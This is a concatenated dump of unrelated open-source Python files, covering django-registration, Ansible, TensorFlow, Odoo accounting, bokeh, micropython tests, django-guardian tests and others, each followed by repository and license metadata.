``manage.py cleanupregistration``. Regularly clearing out accounts which have never been activated serves two useful purposes: 1. It alleviates the ocasional need to reset a ``RegistrationProfile`` and/or re-send an activation email when a user does not receive or does not act upon the initial activation email; since the account will be deleted, the user will be able to simply re-register and receive a new activation key. 2. It prevents the possibility of a malicious user registering one or more accounts and never activating them (thus denying the use of those usernames to anyone else); since those accounts will be deleted, the usernames will become available for use again. If you have a troublesome ``User`` and wish to disable their account while keeping it in the database, simply delete the associated ``RegistrationProfile``; an inactive ``User`` which does not have an associated ``RegistrationProfile`` will not be deleted. """ for profile in self.all(): try: if profile.activation_key_expired(): user = profile.user if not user.is_active: user.delete() profile.delete() except UserModel().DoesNotExist: profile.delete() @python_2_unicode_compatible class RegistrationProfile(models.Model): """ A simple profile which stores an activation key for use during user account registration. Generally, you will not want to interact directly with instances of this model; the provided manager includes methods for creating and activating new accounts, as well as for cleaning out accounts which have never been activated. While it is possible to use this model as the value of the ``AUTH_PROFILE_MODULE`` setting, it's not recommended that you do so. This model's sole purpose is to store data temporarily during account registration and activation. """ ACTIVATED = "ALREADY_ACTIVATED" user = models.OneToOneField(UserModelString(), verbose_name=_('user')) activation_key = models.CharField(_('activation key'), max_length=40) objects = RegistrationManager() class Meta: verbose_name = _('registration profile') verbose_name_plural = _('registration profiles') def __str__(self): return "Registration information for %s" % self.user def activation_key_expired(self): """ Determine whether this ``RegistrationProfile``'s activation key has expired, returning a boolean -- ``True`` if the key has expired. Key expiration is determined by a two-step process: 1. If the user has already activated, the key will have been reset to the string constant ``ACTIVATED``. Re-activating is not permitted, and so this method returns ``True`` in this case. 2. Otherwise, the date the user signed up is incremented by the number of days specified in the setting ``ACCOUNT_ACTIVATION_DAYS`` (which should be the number of days after signup during which a user is allowed to activate their account); if the result is less than or equal to the current date, the key has expired and this method returns ``True``. """ expiration_date = datetime.timedelta( days=settings.ACCOUNT_ACTIVATION_DAYS) return (self.activation_key == self.ACTIVATED or (self.user.date_joined + expiration_date <= datetime_now())) activation_key_expired.boolean = True def send_activation_email(self, site, request=None): """ Send an activation email to the user associated with this ``RegistrationProfile``. The activation email will make use of two templates: ``registration/activation_email_subject.txt`` This template will be used for the subject line of the email. Because it is used as the subject line of an email, this template's output **must** be only a single line of text; output longer than one line will be forcibly joined into only a single line. ``registration/activation_email.txt`` This template will be used for the text body of the email. ``registration/activation_email.html`` This template will be used for the html body of the email. These templates will each receive the following context variables: ``user`` The new user account ``activation_key`` The activation key for the new account. ``expiration_days`` The number of days remaining during which the account may be activated. ``site`` An object representing the site on which the user registered; depending on whether ``django.contrib.sites`` is installed, this may be an instance of either ``django.contrib.sites.models.Site`` (if the sites application is installed) or ``django.contrib.sites.requests.RequestSite`` (if not). Consult the documentation for the Django sites framework for details regarding these objects' interfaces. ``request`` Optional Django's ``HttpRequest`` object from view. If supplied will be passed to the template for better flexibility via ``RequestContext``. """ ctx_dict = {} if request is not None: ctx_dict = RequestContext(request, ctx_dict) # update ctx_dict after RequestContext is created # because template context processors # can overwrite some of the values like user # if django.contrib.auth.context_processors.auth is used ctx_dict.update({ 'user': self.user, 'activation_key': self.activation_key, 'expiration_days': settings.ACCOUNT_ACTIVATION_DAYS, 'site': site, }) subject = (getattr(settings, 'REGISTRATION_EMAIL_SUBJECT_PREFIX', '') + render_to_string( 'registration/activation_email_subject.txt', ctx_dict)) # Email subject *must not* contain newlines subject = ''.join(subject.splitlines()) from_email = getattr(settings, 'REGISTRATION_DEFAULT_FROM_EMAIL', settings.DEFAULT_FROM_EMAIL) message_txt = render_to_string('registration/activation_email.txt', ctx_dict) email_message = EmailMultiAlternatives(subject, message_txt, from_email, [self.user.email]) if getattr(settings, 'REGISTRATION_EMAIL_HTML', True): try: message_html = render_to_string( 'registration/activation_email.html', ctx_dict) except TemplateDoesNotExist: pass else: email_message.attach_alternative(message_html, 'text/html') email_message.send()
alawnchen/django-registration
registration/models.py
Python
bsd-3-clause
12,135
# emacs: -*- mode: python; py-indent-offset: 4; indent-tabs-mode: nil -*- # vi: set ft=python sts=4 ts=4 sw=4 et: """Camino top level namespace """ from .connectivity import Conmat from .convert import (Image2Voxel, FSL2Scheme, VtkStreamlines, ProcStreamlines, TractShredder, DT2NIfTI, NIfTIDT2Camino, AnalyzeHeader, Shredder) from .dti import (DTIFit, ModelFit, DTLUTGen, PicoPDFs, Track, TrackPICo, TrackBayesDirac, TrackDT, TrackBallStick, TrackBootstrap, TrackBedpostxDeter, TrackBedpostxProba, ComputeFractionalAnisotropy, ComputeMeanDiffusivity, ComputeTensorTrace, ComputeEigensystem, DTMetric) from .calib import (SFPICOCalibData, SFLUTGen) from .odf import (QBallMX, LinRecon, SFPeaks, MESD) from .utils import ImageStats
sgiavasis/nipype
nipype/interfaces/camino/__init__.py
Python
bsd-3-clause
848
"""Top-level import for all CLI-related functionality in apitools. Note that importing this file will ultimately have side-effects, and may require imports not available in all environments (such as App Engine). In particular, picking up some readline-related imports can cause pain. """ # pylint:disable=wildcard-import from googlecloudapis.apitools.base.py.app2 import * from googlecloudapis.apitools.base.py.base_cli import *
harshilasu/LinkurApp
y/google-cloud-sdk/lib/googlecloudapis/apitools/base/py/cli.py
Python
gpl-3.0
432
#!/usr/bin/python # Copyright: Ansible Project # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) from __future__ import absolute_import, division, print_function __metaclass__ = type ANSIBLE_METADATA = {'metadata_version': '1.1', 'status': ['preview'], 'supported_by': 'community'} DOCUMENTATION = ''' --- module: cloudwatchlogs_log_group_info short_description: Get information about log_group in CloudWatchLogs description: - Lists the specified log groups. You can list all your log groups or filter the results by prefix. - This module was called C(cloudwatchlogs_log_group_facts) before Ansible 2.9. The usage did not change. version_added: "2.5" author: - Willian Ricardo (@willricardo) <willricardo@gmail.com> requirements: [ botocore, boto3 ] options: log_group_name: description: - The name or prefix of the log group to filter by. type: str extends_documentation_fragment: - aws - ec2 ''' EXAMPLES = ''' # Note: These examples do not set authentication details, see the AWS Guide for details. - cloudwatchlogs_log_group_info: log_group_name: test-log-group ''' RETURN = ''' log_groups: description: Return the list of complex objects representing log groups returned: success type: complex contains: log_group_name: description: The name of the log group. returned: always type: str creation_time: description: The creation time of the log group. returned: always type: int retention_in_days: description: The number of days to retain the log events in the specified log group. returned: always type: int metric_filter_count: description: The number of metric filters. returned: always type: int arn: description: The Amazon Resource Name (ARN) of the log group. returned: always type: str stored_bytes: description: The number of bytes stored. returned: always type: str kms_key_id: description: The Amazon Resource Name (ARN) of the CMK to use when encrypting log data. returned: always type: str ''' import traceback from ansible.module_utils._text import to_native from ansible.module_utils.basic import AnsibleModule from ansible.module_utils.ec2 import HAS_BOTO3, camel_dict_to_snake_dict, boto3_conn, ec2_argument_spec, get_aws_connection_info try: import botocore except ImportError: pass # will be detected by imported HAS_BOTO3 def describe_log_group(client, log_group_name, module): params = {} if log_group_name: params['logGroupNamePrefix'] = log_group_name try: paginator = client.get_paginator('describe_log_groups') desc_log_group = paginator.paginate(**params).build_full_result() return desc_log_group except botocore.exceptions.ClientError as e: module.fail_json(msg="Unable to describe log group {0}: {1}".format(log_group_name, to_native(e)), exception=traceback.format_exc(), **camel_dict_to_snake_dict(e.response)) except botocore.exceptions.BotoCoreError as e: module.fail_json(msg="Unable to describe log group {0}: {1}".format(log_group_name, to_native(e)), exception=traceback.format_exc()) def main(): argument_spec = ec2_argument_spec() argument_spec.update(dict( log_group_name=dict(), )) module = AnsibleModule(argument_spec=argument_spec, supports_check_mode=True) if module._name == 'cloudwatchlogs_log_group_facts': module.deprecate("The 'cloudwatchlogs_log_group_facts' module has been renamed to 'cloudwatchlogs_log_group_info'", version='2.13') if not HAS_BOTO3: module.fail_json(msg='boto3 is required.') region, ec2_url, aws_connect_kwargs = get_aws_connection_info(module, boto3=True) logs = boto3_conn(module, conn_type='client', resource='logs', region=region, endpoint=ec2_url, **aws_connect_kwargs) desc_log_group = describe_log_group(client=logs, log_group_name=module.params['log_group_name'], module=module) final_log_group_snake = [] for log_group in desc_log_group['logGroups']: final_log_group_snake.append(camel_dict_to_snake_dict(log_group)) desc_log_group_result = dict(changed=False, log_groups=final_log_group_snake) module.exit_json(**desc_log_group_result) if __name__ == '__main__': main()
anryko/ansible
lib/ansible/modules/cloud/amazon/cloudwatchlogs_log_group_info.py
Python
gpl-3.0
4,728
# Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from keystone.endpoint_policy.core import * # noqa from keystone.endpoint_policy import routers # noqa
takeshineshiro/keystone
keystone/endpoint_policy/__init__.py
Python
apache-2.0
651
########################################################################## # # Copyright (c) 2017, Image Engine Design Inc. All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above # copyright notice, this list of conditions and the following # disclaimer. # # * Redistributions in binary form must reproduce the above # copyright notice, this list of conditions and the following # disclaimer in the documentation and/or other materials provided with # the distribution. # # * Neither the name of John Haddon nor the names of # any other contributors to this software may be used to endorse or # promote products derived from this software without specific prior # written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS # IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, # THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR # PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR # CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, # EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, # PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR # PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF # LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING # NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # ########################################################################## import Gaffer import GafferScene Gaffer.Metadata.registerNode( GafferScene.Encapsulate, "description", """ Encapsulates a portion of the scene by collapsing the hierarchy and replacing it with a procedural which will be evaluated at render time. This has two primary uses : - To optimise scene generation. Downstream nodes do not see the encapsulated locations, so do not spend time processing them. - To enable high-level instancing of hierarchies. If multiple copies of the encapsulated procedural are made by the downstream network, then the procedural itself can be instanced at render time. This works no matter how the copies are made, but typically the Instancer or Duplicate nodes would be the most common method of copying the procedural. > Note : Encapsulation currently has some limitations > > - Motion blur options are taken from the globals at the > point of Encapsulation, not the downstream globals > at the point of rendering. > - Motion blur attributes are not inherited - only > attributes within the encapsulate hierarchy are > considered. """, )
lucienfostier/gaffer
python/GafferSceneUI/EncapsulateUI.py
Python
bsd-3-clause
2,924
from numpy.random import random from bokeh.plotting import figure, show, output_file def mscatter(p, x, y, marker): p.scatter(x, y, marker=marker, size=15, line_color="navy", fill_color="orange", alpha=0.5) def mtext(p, x, y, text): p.text(x, y, text=[text], text_color="firebrick", text_align="center", text_font_size="10pt") p = figure(title="Bokeh Markers", toolbar_location=None) p.grid.grid_line_color = None p.background_fill_color = "#eeeeee" N = 10 mscatter(p, random(N)+2, random(N)+1, "circle") mscatter(p, random(N)+4, random(N)+1, "square") mscatter(p, random(N)+6, random(N)+1, "triangle") mscatter(p, random(N)+8, random(N)+1, "asterisk") mscatter(p, random(N)+2, random(N)+4, "circle_x") mscatter(p, random(N)+4, random(N)+4, "square_x") mscatter(p, random(N)+6, random(N)+4, "inverted_triangle") mscatter(p, random(N)+8, random(N)+4, "x") mscatter(p, random(N)+2, random(N)+7, "circle_cross") mscatter(p, random(N)+4, random(N)+7, "square_cross") mscatter(p, random(N)+6, random(N)+7, "diamond") mscatter(p, random(N)+8, random(N)+7, "cross") mtext(p, 2.5, 0.5, "circle / o") mtext(p, 4.5, 0.5, "square") mtext(p, 6.5, 0.5, "triangle") mtext(p, 8.5, 0.5, "asterisk / *") mtext(p, 2.5, 3.5, "circle_x / ox") mtext(p, 4.5, 3.5, "square_x") mtext(p, 6.5, 3.5, "inverted_triangle") mtext(p, 8.5, 3.5, "x") mtext(p, 2.5, 6.5, "circle_cross / o+") mtext(p, 4.5, 6.5, "square_cross") mtext(p, 6.5, 6.5, "diamond") mtext(p, 8.5, 6.5, "cross / +") output_file("markers.html", title="markers.py example") show(p) # open a browser
pombredanne/bokeh
examples/plotting/file/markers.py
Python
bsd-3-clause
1,583
# test some extreme cases of allocating exceptions and tracebacks import micropython # Check for stackless build, which can't call functions without # allocating a frame on the heap. try: def stackless(): pass micropython.heap_lock() stackless() micropython.heap_unlock() except RuntimeError: print("SKIP") raise SystemExit # some ports need to allocate heap for the emergency exception try: micropython.alloc_emergency_exception_buf(256) except AttributeError: pass def main(): # create an exception with many args while heap is locked # should revert to empty tuple for args micropython.heap_lock() e = Exception( 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ) micropython.heap_unlock() print(repr(e)) # create an exception with a long formatted error message while heap is locked # should use emergency exception buffer and truncate the message def f(): pass micropython.heap_lock() try: f( abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz=1 ) except Exception as er: e = er micropython.heap_unlock() print(repr(e)[:10]) # create an exception with a long formatted error message while heap is low # should use the heap and truncate the message lst = [] while 1: try: lst = [lst] except MemoryError: break try: f( abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz=1 ) except Exception as er: e = er lst[0][0] = None lst = None print(repr(e)[:10]) # raise a deep exception with the heap locked # should use emergency exception and be unable to resize traceback array def g(): g() micropython.heap_lock() try: g() except Exception as er: e = er micropython.heap_unlock() print(repr(e)[:13]) # create an exception on the heap with some traceback on the heap, but then # raise it with the heap locked so it can't allocate any more traceback exc = Exception("my exception") try: raise exc except: pass def h(e): raise e micropython.heap_lock() try: h(exc) except Exception as er: e = er micropython.heap_unlock() print(repr(e)) main()
MrSurly/micropython
tests/micropython/extreme_exc.py
Python
mit
3,386
# Copyright 2015 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Logging Operations.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function from tensorflow.python.framework import ops from tensorflow.python.ops import common_shapes from tensorflow.python.ops import gen_logging_ops # pylint: disable=wildcard-import from tensorflow.python.ops.gen_logging_ops import * # pylint: enable=wildcard-import # Assert and Print are special symbols in python, so we must # use an upper-case version of them. def Assert(condition, data, summarize=None, name=None): """Asserts that the given condition is true. If `condition` evaluates to false, print the list of tensors in `data`. `summarize` determines how many entries of the tensors to print. Args: condition: The condition to evaluate. data: The tensors to print out when condition is false. summarize: Print this many entries of each tensor. name: A name for this operation (optional). """ return gen_logging_ops._assert(condition, data, summarize, name) def Print(input_, data, message=None, first_n=None, summarize=None, name=None): """Prints a list of tensors. This is an identity op with the side effect of printing `data` when evaluating. Args: input_: A tensor passed through this op. data: A list of tensors to print out when op is evaluated. message: A string, prefix of the error message. first_n: Only log `first_n` number of times. Negative numbers log always; this is the default. summarize: Only print this many entries of each tensor. If None, then a maximum of 3 elements are printed per input tensor. name: A name for the operation (optional). Returns: Same tensor as `input_`. """ return gen_logging_ops._print(input_, data, message, first_n, summarize, name) @ops.RegisterGradient("Print") def _PrintGrad(op, *grad): return list(grad) + [None] * (len(op.inputs) - 1) ops.RegisterShape("Assert")(common_shapes.no_outputs) ops.RegisterShape("Print")(common_shapes.unchanged_shape)
Eric-Gaudiello/tensorflow_dev
tensorflow_home/tensorflow_venv/lib/python3.4/site-packages/tensorflow/python/ops/logging_ops.py
Python
gpl-3.0
2,741
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2004-2010 Tiny SPRL (<http://tiny.be>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## from operator import itemgetter import time from openerp import SUPERUSER_ID from openerp.osv import fields, osv from openerp import api class account_fiscal_position(osv.osv): _name = 'account.fiscal.position' _description = 'Fiscal Position' _order = 'sequence' _columns = { 'sequence': fields.integer('Sequence'), 'name': fields.char('Fiscal Position', required=True), 'active': fields.boolean('Active', help="By unchecking the active field, you may hide a fiscal position without deleting it."), 'company_id': fields.many2one('res.company', 'Company'), 'account_ids': fields.one2many('account.fiscal.position.account', 'position_id', 'Account Mapping', copy=True), 'tax_ids': fields.one2many('account.fiscal.position.tax', 'position_id', 'Tax Mapping', copy=True), 'note': fields.text('Notes'), 'auto_apply': fields.boolean('Automatic', help="Apply automatically this fiscal position."), 'vat_required': fields.boolean('VAT required', help="Apply only if partner has a VAT number."), 'country_id': fields.many2one('res.country', 'Countries', help="Apply only if delivery or invoicing country match."), 'country_group_id': fields.many2one('res.country.group', 'Country Group', help="Apply only if delivery or invocing country match the group."), } _defaults = { 'active': True, } @api.v7 def map_tax(self, cr, uid, fposition_id, taxes, context=None): if not taxes: return [] if not fposition_id: return map(lambda x: x.id, taxes) result = set() for t in taxes: ok = False for tax in fposition_id.tax_ids: if tax.tax_src_id.id == t.id: if tax.tax_dest_id: result.add(tax.tax_dest_id.id) ok=True if not ok: result.add(t.id) return list(result) @api.v8 def map_tax(self, taxes): result = taxes.browse() for tax in taxes: found = False for t in self.tax_ids: if t.tax_src_id == tax: result |= t.tax_dest_id found = True if not found: result |= tax return result @api.v7 def map_account(self, cr, uid, fposition_id, account_id, context=None): if not fposition_id: return account_id for pos in fposition_id.account_ids: if pos.account_src_id.id == account_id: account_id = pos.account_dest_id.id break return account_id @api.v8 def map_account(self, account): for pos in self.account_ids: if pos.account_src_id == account: return pos.account_dest_id return account def get_fiscal_position(self, cr, uid, company_id, partner_id, delivery_id=None, context=None): if not partner_id: return False # This can be easily overriden to apply more complex fiscal rules part_obj = self.pool['res.partner'] partner = part_obj.browse(cr, uid, partner_id, context=context) # partner manually set fiscal position always win if partner.property_account_position: return partner.property_account_position.id # if no delivery use invocing if delivery_id: delivery = part_obj.browse(cr, uid, delivery_id, context=context) else: delivery = partner domain = [ ('auto_apply', '=', True), '|', ('vat_required', '=', False), ('vat_required', '=', partner.vat_subjected), '|', ('country_id', '=', None), ('country_id', '=', delivery.country_id.id), '|', ('country_group_id', '=', None), ('country_group_id.country_ids', '=', delivery.country_id.id) ] fiscal_position_ids = self.search(cr, uid, domain, context=context) if fiscal_position_ids: return fiscal_position_ids[0] return False class account_fiscal_position_tax(osv.osv): _name = 'account.fiscal.position.tax' _description = 'Taxes Fiscal Position' _rec_name = 'position_id' _columns = { 'position_id': fields.many2one('account.fiscal.position', 'Fiscal Position', required=True, ondelete='cascade'), 'tax_src_id': fields.many2one('account.tax', 'Tax Source', required=True), 'tax_dest_id': fields.many2one('account.tax', 'Replacement Tax') } _sql_constraints = [ ('tax_src_dest_uniq', 'unique (position_id,tax_src_id,tax_dest_id)', 'A tax fiscal position could be defined only once time on same taxes.') ] class account_fiscal_position_account(osv.osv): _name = 'account.fiscal.position.account' _description = 'Accounts Fiscal Position' _rec_name = 'position_id' _columns = { 'position_id': fields.many2one('account.fiscal.position', 'Fiscal Position', required=True, ondelete='cascade'), 'account_src_id': fields.many2one('account.account', 'Account Source', domain=[('type','<>','view')], required=True), 'account_dest_id': fields.many2one('account.account', 'Account Destination', domain=[('type','<>','view')], required=True) } _sql_constraints = [ ('account_src_dest_uniq', 'unique (position_id,account_src_id,account_dest_id)', 'An account fiscal position could be defined only once time on same accounts.') ] class res_partner(osv.osv): _name = 'res.partner' _inherit = 'res.partner' _description = 'Partner' def _credit_debit_get(self, cr, uid, ids, field_names, arg, context=None): ctx = context.copy() ctx['all_fiscalyear'] = True query = self.pool.get('account.move.line')._query_get(cr, uid, context=ctx) cr.execute("""SELECT l.partner_id, a.type, SUM(l.debit-l.credit) FROM account_move_line l LEFT JOIN account_account a ON (l.account_id=a.id) WHERE a.type IN ('receivable','payable') AND l.partner_id IN %s AND l.reconcile_id IS NULL AND """ + query + """ GROUP BY l.partner_id, a.type """, (tuple(ids),)) maps = {'receivable':'credit', 'payable':'debit' } res = {} for id in ids: res[id] = {}.fromkeys(field_names, 0) for pid,type,val in cr.fetchall(): if val is None: val=0 res[pid][maps[type]] = (type=='receivable') and val or -val return res def _asset_difference_search(self, cr, uid, obj, name, type, args, context=None): if not args: return [] having_values = tuple(map(itemgetter(2), args)) where = ' AND '.join( map(lambda x: '(SUM(bal2) %(operator)s %%s)' % { 'operator':x[1]},args)) query = self.pool.get('account.move.line')._query_get(cr, uid, context=context) cr.execute(('SELECT pid AS partner_id, SUM(bal2) FROM ' \ '(SELECT CASE WHEN bal IS NOT NULL THEN bal ' \ 'ELSE 0.0 END AS bal2, p.id as pid FROM ' \ '(SELECT (debit-credit) AS bal, partner_id ' \ 'FROM account_move_line l ' \ 'WHERE account_id IN ' \ '(SELECT id FROM account_account '\ 'WHERE type=%s AND active) ' \ 'AND reconcile_id IS NULL ' \ 'AND '+query+') AS l ' \ 'RIGHT JOIN res_partner p ' \ 'ON p.id = partner_id ) AS pl ' \ 'GROUP BY pid HAVING ' + where), (type,) + having_values) res = cr.fetchall() if not res: return [('id','=','0')] return [('id','in',map(itemgetter(0), res))] def _credit_search(self, cr, uid, obj, name, args, context=None): return self._asset_difference_search(cr, uid, obj, name, 'receivable', args, context=context) def _debit_search(self, cr, uid, obj, name, args, context=None): return self._asset_difference_search(cr, uid, obj, name, 'payable', args, context=context) def _invoice_total(self, cr, uid, ids, field_name, arg, context=None): result = {} account_invoice_report = self.pool.get('account.invoice.report') for partner in self.browse(cr, uid, ids, context=context): domain = [('partner_id', 'child_of', partner.id)] invoice_ids = account_invoice_report.search(cr, SUPERUSER_ID, domain, context=context) invoices = account_invoice_report.browse(cr, SUPERUSER_ID, invoice_ids, context=context) result[partner.id] = sum(inv.user_currency_price_total for inv in invoices) return result def _journal_item_count(self, cr, uid, ids, field_name, arg, context=None): MoveLine = self.pool('account.move.line') AnalyticAccount = self.pool('account.analytic.account') return { partner_id: { 'journal_item_count': MoveLine.search_count(cr, uid, [('partner_id', '=', partner_id)], context=context), 'contracts_count': AnalyticAccount.search_count(cr,uid, [('partner_id', '=', partner_id)], context=context) } for partner_id in ids } def has_something_to_reconcile(self, cr, uid, partner_id, context=None): ''' at least a debit, a credit and a line older than the last reconciliation date of the partner ''' cr.execute(''' SELECT l.partner_id, SUM(l.debit) AS debit, SUM(l.credit) AS credit FROM account_move_line l RIGHT JOIN account_account a ON (a.id = l.account_id) RIGHT JOIN res_partner p ON (l.partner_id = p.id) WHERE a.reconcile IS TRUE AND p.id = %s AND l.reconcile_id IS NULL AND (p.last_reconciliation_date IS NULL OR l.date > p.last_reconciliation_date) AND l.state <> 'draft' GROUP BY l.partner_id''', (partner_id,)) res = cr.dictfetchone() if res: return bool(res['debit'] and res['credit']) return False def mark_as_reconciled(self, cr, uid, ids, context=None): return self.write(cr, uid, ids, {'last_reconciliation_date': time.strftime('%Y-%m-%d %H:%M:%S')}, context=context) _columns = { 'vat_subjected': fields.boolean('VAT Legal Statement', help="Check this box if the partner is subjected to the VAT. It will be used for the VAT legal statement."), 'credit': fields.function(_credit_debit_get, fnct_search=_credit_search, string='Total Receivable', multi='dc', help="Total amount this customer owes you."), 'debit': fields.function(_credit_debit_get, fnct_search=_debit_search, string='Total Payable', multi='dc', help="Total amount you have to pay to this supplier."), 'debit_limit': fields.float('Payable Limit'), 'total_invoiced': fields.function(_invoice_total, string="Total Invoiced", type='float', groups='account.group_account_invoice'), 'contracts_count': fields.function(_journal_item_count, string="Contracts", type='integer', multi="invoice_journal"), 'journal_item_count': fields.function(_journal_item_count, string="Journal Items", type="integer", multi="invoice_journal"), 'property_account_payable': fields.property( type='many2one', relation='account.account', string="Account Payable", domain="[('type', '=', 'payable')]", help="This account will be used instead of the default one as the payable account for the current partner", required=True), 'property_account_receivable': fields.property( type='many2one', relation='account.account', string="Account Receivable", domain="[('type', '=', 'receivable')]", help="This account will be used instead of the default one as the receivable account for the current partner", required=True), 'property_account_position': fields.property( type='many2one', relation='account.fiscal.position', string="Fiscal Position", help="The fiscal position will determine taxes and accounts used for the partner.", ), 'property_payment_term': fields.property( type='many2one', relation='account.payment.term', string ='Customer Payment Term', help="This payment term will be used instead of the default one for sale orders and customer invoices"), 'property_supplier_payment_term': fields.property( type='many2one', relation='account.payment.term', string ='Supplier Payment Term', help="This payment term will be used instead of the default one for purchase orders and supplier invoices"), 'ref_companies': fields.one2many('res.company', 'partner_id', 'Companies that refers to partner'), 'last_reconciliation_date': fields.datetime( 'Latest Full Reconciliation Date', copy=False, help='Date on which the partner accounting entries were fully reconciled last time. ' 'It differs from the last date where a reconciliation has been made for this partner, ' 'as here we depict the fact that nothing more was to be reconciled at this date. ' 'This can be achieved in 2 different ways: either the last unreconciled debit/credit ' 'entry of this partner was reconciled, either the user pressed the button ' '"Nothing more to reconcile" during the manual reconciliation process.') } def _commercial_fields(self, cr, uid, context=None): return super(res_partner, self)._commercial_fields(cr, uid, context=context) + \ ['debit_limit', 'property_account_payable', 'property_account_receivable', 'property_account_position', 'property_payment_term', 'property_supplier_payment_term', 'last_reconciliation_date'] # vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
ahu-odoo/odoo
addons/account/partner.py
Python
agpl-3.0
15,435
g = 2 i = 2 <warning descr="Non-ASCII character 'ɡ' in the file, but no encoding declared">ɡ</warning> = 1 a = g + i
siosio/intellij-community
python/testData/inspections/PyNonAsciiCharReferenceInspection/test.py
Python
apache-2.0
119
def func(): value = "not-none" # pylint: disable=unused-argument1 <caret>if value is None: print("None") # pylint: disable=unused-argument2 print(value)
siosio/intellij-community
python/testData/intentions/PyInvertIfConditionIntentionTest/commentsPylintNoElseBoth.py
Python
apache-2.0
183
from itertools import chain from django.contrib.contenttypes.models import ContentType from django.core.exceptions import ValidationError from django.test import TestCase import guardian from guardian.backends import ObjectPermissionBackend from guardian.exceptions import GuardianError from guardian.exceptions import NotUserNorGroup from guardian.exceptions import ObjectNotPersisted from guardian.exceptions import WrongAppError from guardian.models import GroupObjectPermission from guardian.models import UserObjectPermission from guardian.models import AnonymousUser from guardian.models import Group from guardian.models import Permission from guardian.models import User class UserPermissionTests(TestCase): fixtures = ['tests.json'] def setUp(self): self.user = User.objects.get(username='jack') self.ctype = ContentType.objects.create(name='foo', model='bar', app_label='fake-for-guardian-tests') self.obj1 = ContentType.objects.create(name='ct1', model='foo', app_label='guardian-tests') self.obj2 = ContentType.objects.create(name='ct2', model='bar', app_label='guardian-tests') def test_assignement(self): self.assertFalse(self.user.has_perm('change_contenttype', self.ctype)) UserObjectPermission.objects.assign('change_contenttype', self.user, self.ctype) self.assertTrue(self.user.has_perm('change_contenttype', self.ctype)) self.assertTrue(self.user.has_perm('contenttypes.change_contenttype', self.ctype)) def test_assignement_and_remove(self): UserObjectPermission.objects.assign('change_contenttype', self.user, self.ctype) self.assertTrue(self.user.has_perm('change_contenttype', self.ctype)) UserObjectPermission.objects.remove_perm('change_contenttype', self.user, self.ctype) self.assertFalse(self.user.has_perm('change_contenttype', self.ctype)) def test_ctypes(self): UserObjectPermission.objects.assign('change_contenttype', self.user, self.obj1) self.assertTrue(self.user.has_perm('change_contenttype', self.obj1)) self.assertFalse(self.user.has_perm('change_contenttype', self.obj2)) UserObjectPermission.objects.remove_perm('change_contenttype', self.user, self.obj1) UserObjectPermission.objects.assign('change_contenttype', self.user, self.obj2) self.assertTrue(self.user.has_perm('change_contenttype', self.obj2)) self.assertFalse(self.user.has_perm('change_contenttype', self.obj1)) UserObjectPermission.objects.assign('change_contenttype', self.user, self.obj1) UserObjectPermission.objects.assign('change_contenttype', self.user, self.obj2) self.assertTrue(self.user.has_perm('change_contenttype', self.obj2)) 